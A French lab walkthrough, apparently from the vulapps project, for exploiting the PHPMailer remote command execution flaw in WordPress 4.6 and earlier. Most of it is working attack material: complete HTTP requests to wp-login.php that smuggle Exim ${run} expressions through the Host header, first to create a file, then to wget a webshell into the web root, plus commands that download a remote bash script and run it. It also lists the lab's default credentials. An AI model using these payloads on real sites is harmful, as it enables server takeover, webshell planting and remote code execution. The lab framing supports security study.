
WordPress est une plateforme de blogs développée en PHP. Les utilisateurs peuvent créer leur propre site sur un serveur prenant en charge PHP et la base de données MySQL. WordPress peut également être utilisé comme système de gestion de contenu (CMS). WordPress utilise le composant PHPMailer pour envoyer des e-mails aux utilisateurs. PHPMailer (versions < 5.2.18) présente une vulnérabilité d'exécution de commandes à distance. Un attaquant n'a qu'à construire astucieusement une adresse e-mail malveillante pour écrire des fichiers arbitraires, entraînant une exécution de commandes à distance.
WordPress <= 4.6
| Type | Nom d'utilisateur | Mot de passe |
|---|---|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
-p 8000:80Le 8000 devant représente le port de la machine physique, il peut être spécifié librement.
Accédez à http://127.0.0.1:8000 ; si vous voyez l'interface principale de WordPress, le démarrage a réussi.
Supposons que l'adresse cible soit : http://127.0.0.1:8000/
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Un code de statut 200 en retour signifie que le fichier /var/www/html/vuln a été créé avec succès.
Vous pouvez accéder à cette adresse avant d'envoyer la requête : vous obtiendrez alors une erreur 404.
Idée : créer un fichier texte sur un serveur HTTP distant et le télécharger sur la machine cible via wget.
Si vous pouvez déjà exécuter des commandes, pourquoi envoyer une WebShell ?
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
Remarque :
- L'URL distante ne doit pas contenir
http://- Toutes les lettres doivent être en minuscules
- Tous les
/doivent être remplacés par${substr{0}{1}{$spool_directory}}- Tous les espaces doivent être remplacés par
${substr{10}{1}{$tod_log}}
La requête HTTP est la suivante (remplacez user_login selon les besoins ; la valeur par défaut est admin) :
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Si le contenu du fichier texte distant est un script bash, une fois téléchargé sur la cible, vous pouvez exécuter directement le fichier avec /bin/bash.
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce